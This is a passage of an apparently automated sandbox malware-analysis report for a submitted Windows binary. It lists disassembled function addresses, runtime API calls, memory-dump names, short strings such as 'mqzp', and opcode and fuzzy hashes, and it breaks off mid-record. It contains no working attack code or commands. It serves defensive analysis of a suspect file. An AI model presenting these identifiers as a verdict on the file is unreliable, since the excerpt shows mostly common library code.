                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastObjectRegisterSingleThrowWait
                                          • String ID:
                                          • API String ID: 3803302727-0
                                          • Opcode ID: 14eec0e1f2205d04142946f57f31f4a2f49c93d766895b03132cda4b7edf5729
                                          • Instruction ID: 106b328396b4a0add518585e6bca049325b8c30ba51cde649ca78abda2e0be04
                                          • Opcode Fuzzy Hash: 14eec0e1f2205d04142946f57f31f4a2f49c93d766895b03132cda4b7edf5729
                                          • Instruction Fuzzy Hash: 3CF01C7560420EABCB10EFB4CD06FAB7768BB04754F604655B625E6091DA74DB049B60
                                          Function 008F2E52 Relevance: 6.0, APIs: 4, Instructions: 28COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • ___crtCreateEventExW.LIBCPMT ref: 008F2E68
                                          • GetLastError.KERNEL32(?,?,?,?,?,008F2699), ref: 008F2E76
                                          • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 008F2E8C
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008F2E9A
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorEventException@8LastThrow___crt
                                          • String ID:
                                          • API String ID: 200240550-0
                                          • Opcode ID: b2e5d3be5403511ec165e3fb6e8d5d58a5061c26b79dc44c104466578197c7a4
                                          • Instruction ID: 538c26faa5c12e1c306144bd560765ad6d7e1a689596a3ee2a3773a97e583fd5
                                          • Opcode Fuzzy Hash: b2e5d3be5403511ec165e3fb6e8d5d58a5061c26b79dc44c104466578197c7a4
                                          • Instruction Fuzzy Hash: B3E0D8A260021E6AE714B7784C07FBB779CFB00744FA44565BB54F40C3FD64D90046A5
                                          Function 008F3069 Relevance: 6.0, APIs: 4, Instructions: 24COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • GetNumaHighestNodeNumber.KERNEL32(?,?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,?,008F2699), ref: 008F3073
                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,?,008F2699), ref: 008F3082
                                          • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 008F3098
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008F30A6
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8HighestLastNodeNumaNumberThrow
                                          • String ID:
                                          • API String ID: 3016159387-0
                                          • Opcode ID: be5f687dd15473f2393f09f0a2a95a6a70cf1db4a827e78d0fffee90bc1b2f15
                                          • Instruction ID: 5bd69b01acb6798b4c2b5f5e462bb9f5510c790594b0f8c3ea81bfaa6c95c6bb
                                          • Opcode Fuzzy Hash: be5f687dd15473f2393f09f0a2a95a6a70cf1db4a827e78d0fffee90bc1b2f15
                                          • Instruction Fuzzy Hash: BAE0487560020EA7CB00FBB49D4AEBF73BCBB40704B604565B241E2051EF64DB049761
                                          Function 008F31C1 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • SetThreadPriority.KERNEL32(?,?), ref: 008F31CD
                                          • GetLastError.KERNEL32 ref: 008F31D9
                                          • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 008F31EF
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008F31FD
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastPriorityThreadThrow
                                          • String ID:
                                          • API String ID: 4286982218-0
                                          • Opcode ID: d0e7a9e3648b8805190c0f7483313615fb19574c817884b25648936e0a2439d4
                                          • Instruction ID: 2d6005629beccdbc205581947707a384cdcbbd76f68b9e532b2c9c49277a634f
                                          • Opcode Fuzzy Hash: d0e7a9e3648b8805190c0f7483313615fb19574c817884b25648936e0a2439d4
                                          • Instruction Fuzzy Hash: 54E0867520411DABCB10BF75DC06FBB77ACFB00340B508425BA15E10A1DB75D6049B54
                                          Function 008F3287 Relevance: 6.0, APIs: 4, Instructions: 23COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • TlsSetValue.KERNEL32(?,00000000,008F8496,00000000,?,?,008F2699,?,?,?,00000000,?,00000000), ref: 008F3293
                                          • GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 008F329F
                                          • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 008F32B5
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008F32C3
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrowValue
                                          • String ID:
                                          • API String ID: 1964976909-0
                                          • Opcode ID: 3cab0d55aa49cacb655134abe41de705bafdd7e29feadcfb8fea6c2bff4e6303
                                          • Instruction ID: e6affc95fc83a9cf48ec6d4f1666c276ee157b11bb5d6717c9e9de77492306e6
                                          • Opcode Fuzzy Hash: 3cab0d55aa49cacb655134abe41de705bafdd7e29feadcfb8fea6c2bff4e6303
                                          • Instruction Fuzzy Hash: A0E0867521411DBBCB00BF74CC0ABBB776CFB00345F408525B615E10A1EB35D6149B94
                                          Function 008F322E Relevance: 6.0, APIs: 4, Instructions: 21memoryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • TlsAlloc.KERNEL32(?,008F2699), ref: 008F3234
                                          • GetLastError.KERNEL32 ref: 008F3241
                                          • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 008F3257
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008F3265
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: AllocConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
                                          • String ID:
                                          • API String ID: 3103352999-0
                                          • Opcode ID: daa38c448a9a2a13ba5117aebebaa5033734e943ce27db090bac543a9db6a42d
                                          • Instruction ID: c9cbdcaadae19f4d2890da273efef5182f4c18f4f7fa3be3263f16db46c7d8bf
                                          • Opcode Fuzzy Hash: daa38c448a9a2a13ba5117aebebaa5033734e943ce27db090bac543a9db6a42d
                                          • Instruction Fuzzy Hash: EDE0C2705141195BC704B7B88C4ABBB736CFA00315B504A25F325E14E1EA74DA044AA0
                                          Function 008AED30 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 387COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008AF139
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: FilterWithBufferedInput$mqzp
                                          • API String ID: 2005118841-3745934939
                                          • Opcode ID: a5b467755c52cb311cf7cf0b87204fcc11a20001d8e69340d02ef0d3edcedb78
                                          • Instruction ID: 51ce727d59356fc1dcefd973f8f8645fa9188c75983bdbc650f90b5464ce3997
                                          • Opcode Fuzzy Hash: a5b467755c52cb311cf7cf0b87204fcc11a20001d8e69340d02ef0d3edcedb78
                                          • Instruction Fuzzy Hash: A4F13B71A007099FDB24CFA8C884AAAB7F6FF89304F14492DE146DBA55DB31F945CB90
                                          Function 008D739B Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 322COMMON
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3_GS.LIBCMT ref: 008D73A2
                                            • Part of subcall function 008D5F64: __EH_prolog3.LIBCMT ref: 008D5F6B
                                            • Part of subcall function 008D5F64: std::_Lockit::_Lockit.LIBCPMT ref: 008D5F75
                                            • Part of subcall function 008D5F64: std::_Lockit::~_Lockit.LIBCPMT ref: 008D5FE6
                                          • _Find_unchecked1.LIBCPMT ref: 008D75B3
                                          Strings
                                          • 0123456789ABCDEFabcdef-+Xx, xrefs: 008D740A
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Lockitstd::_$Find_unchecked1H_prolog3H_prolog3_Lockit::_Lockit::~_
                                          • String ID: 0123456789ABCDEFabcdef-+Xx
                                          • API String ID: 1853221402-2799312399
                                          • Opcode ID: b9eb0e8f95fb7feb97bf41e904ad22661aa5cf532fb45967070a4d77b70c75b2
                                          • Instruction ID: 8cf901356974642a5220c830439026fa04d96c889faecd4246bc617fbc9eeb1c
                                          • Opcode Fuzzy Hash: b9eb0e8f95fb7feb97bf41e904ad22661aa5cf532fb45967070a4d77b70c75b2
                                          • Instruction Fuzzy Hash: E4C18F30D082889AEF16DFA8D590BEDBBB2FF15304F64469AD885AB343E7309D45CB51
                                          Function 008A2950 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 305COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008A2B37
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: RoundUpToMultipleOf: integer overflow$mqzp
                                          • API String ID: 2005118841-2064318413
                                          • Opcode ID: d0199e844755e15e782b95c6cf76e01bfaa438a679bb55024e07c8060e126d52
                                          • Instruction ID: 92564f4d97bd0cade9a3738a66853cea1ab1fbba6f6dd59b8b7f320ad5e643cd
                                          • Opcode Fuzzy Hash: d0199e844755e15e782b95c6cf76e01bfaa438a679bb55024e07c8060e126d52
                                          • Instruction Fuzzy Hash: 90C19D71A00218AFEB24DFA8C895FEEBBB4FF15710F10416DE515E7282DB70AA49CB51
                                          Function 00896590 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 301COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 00896923
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: mqzp$mqzp
                                          • API String ID: 2005118841-1158555082
                                          • Opcode ID: a7572b89bafbd6d68cf86dcc555392658e3a3f3c3e65ce1aace46ecf470db10f
                                          • Instruction ID: a39bfb2724e05a91eb58c056751ec6c88f2a5beeddf51e79c8b8e31a9882ba15
                                          • Opcode Fuzzy Hash: a7572b89bafbd6d68cf86dcc555392658e3a3f3c3e65ce1aace46ecf470db10f
                                          • Instruction Fuzzy Hash: 24C18A71E00258DBDF15DFA8C884BADBBB2FF44314F288219E405FB281E731A995CB51
                                          Function 008A33A0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 287COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: mqzp$mqzp
                                          • API String ID: 0-1158555082
                                          • Opcode ID: df7b40516117264bd32c4807de0f067389561f05d3fc59dd325e52f1ea551e8c
                                          • Instruction ID: faa3ccfce9272005cfd401af2229cebcc023574e9dc0589afdeb31d0b64e4d57
                                          • Opcode Fuzzy Hash: df7b40516117264bd32c4807de0f067389561f05d3fc59dd325e52f1ea551e8c
                                          • Instruction Fuzzy Hash: 12B1BE71E04249DBDB05CFA8C840AEEFBB5FF59314F24422AE425E7781D734AA45CB90
                                          Function 008A5250 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 225COMMON
                                          Download Yara Rule
                                          APIs
                                          • ___std_exception_copy.LIBVCRUNTIME ref: 008A54D2
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ___std_exception_copy
                                          • String ID: is not a valid key length$mqzp
                                          • API String ID: 2659868963-2527082477
                                          • Opcode ID: 1c566b33faa76dfbec81bfcf2cc66907761a1932904d4bc9f249575d4d550e66
                                          • Instruction ID: 1a29f3487100061e5ee5ab972303495f4c1ac6b90c0e9d5fa6882cbe04c9ca5b
                                          • Opcode Fuzzy Hash: 1c566b33faa76dfbec81bfcf2cc66907761a1932904d4bc9f249575d4d550e66
                                          • Instruction Fuzzy Hash: A581E2B19106089FEB14DFA8C845B9EFBB5FF89314F20821DE415E7782EB74A684CB51
                                          Function 00862590 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 207COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • ___std_exception_copy.LIBVCRUNTIME ref: 00862726
                                          • ___std_exception_destroy.LIBVCRUNTIME ref: 008627C0
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ___std_exception_copy___std_exception_destroy
                                          • String ID: mqzp
                                          • API String ID: 2970364248-955126501
                                          • Opcode ID: fcb3baed0b9c6045c1a7a7eecc2eba8badcbf0224c01b00fba14b6d0bddc0e12
                                          • Instruction ID: 04e935411d4fcb14b620f486b6e72038c589ce12e468acfab5db7deb4ed58f46
                                          • Opcode Fuzzy Hash: fcb3baed0b9c6045c1a7a7eecc2eba8badcbf0224c01b00fba14b6d0bddc0e12
                                          • Instruction Fuzzy Hash: 4E718F71A10608DBDB04DFA8C881BDEFBB4FF58310F54825DE805A7381DB75A984CBA5
                                          Function 0089F3A0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 201COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 008A03A0: ___std_exception_copy.LIBVCRUNTIME ref: 008A03EB
                                          • ___std_exception_destroy.LIBVCRUNTIME ref: 0089F63E
                                            • Part of subcall function 008F0F1A: EnterCriticalSection.KERNEL32(009887E8,00989528,?,?,008C5041,00987168,707A716D,00989528,?,?,00000000,0093E50F,000000FF,?,008C50FC,00000001), ref: 008F0F25
                                            • Part of subcall function 008F0F1A: LeaveCriticalSection.KERNEL32(009887E8,?,008C5041,00987168,707A716D,00989528,?,?,00000000,0093E50F,000000FF,?,008C50FC,00000001), ref: 008F0F62
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: CriticalSection$EnterLeave___std_exception_copy___std_exception_destroy
                                          • String ID: bad allocation$mqzp
                                          • API String ID: 1690483291-3188363353
                                          • Opcode ID: 0c3b63740109b8df69b111b52d26ed923bf9957caad9f06cff1f69f6f0a11f60
                                          • Instruction ID: ab1dd932f9fecbe6344c9f5ca7d9a20316402bfe9f891c4a0b39480f9c49e844
                                          • Opcode Fuzzy Hash: 0c3b63740109b8df69b111b52d26ed923bf9957caad9f06cff1f69f6f0a11f60
                                          • Instruction Fuzzy Hash: AF9157B4A00308CFDB24DFA8D884A9EBBF4FF48314F158169E81AAB751D774A904CF90
                                          Function 0091D00D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __startOneArgErrorHandling.LIBCMT ref: 0091D09D
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ErrorHandling__start
                                          • String ID: pow
                                          • API String ID: 3213639722-2276729525
                                          • Opcode ID: 62864f61cecf0e6af44b2509375219a5dcf263f3f99512663d7e7e308082cd65
                                          • Instruction ID: 6c0c7ed46bd42a06751d3dd7edca18de4cc45d20403c318c05bc317be76fe7ce
                                          • Opcode Fuzzy Hash: 62864f61cecf0e6af44b2509375219a5dcf263f3f99512663d7e7e308082cd65
                                          • Instruction Fuzzy Hash: C1517F62B1E20697DB167714FE413EA67D89B44700F204D58F0E5822EDEB398CD6AB47
                                          Function 008771D0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 182COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: ($mqzp
                                          • API String ID: 0-2010538693
                                          • Opcode ID: e34438bbc83bc7ba7417f1b2583ed465a9838641a7ccb9b57d4a4e4e04e53414
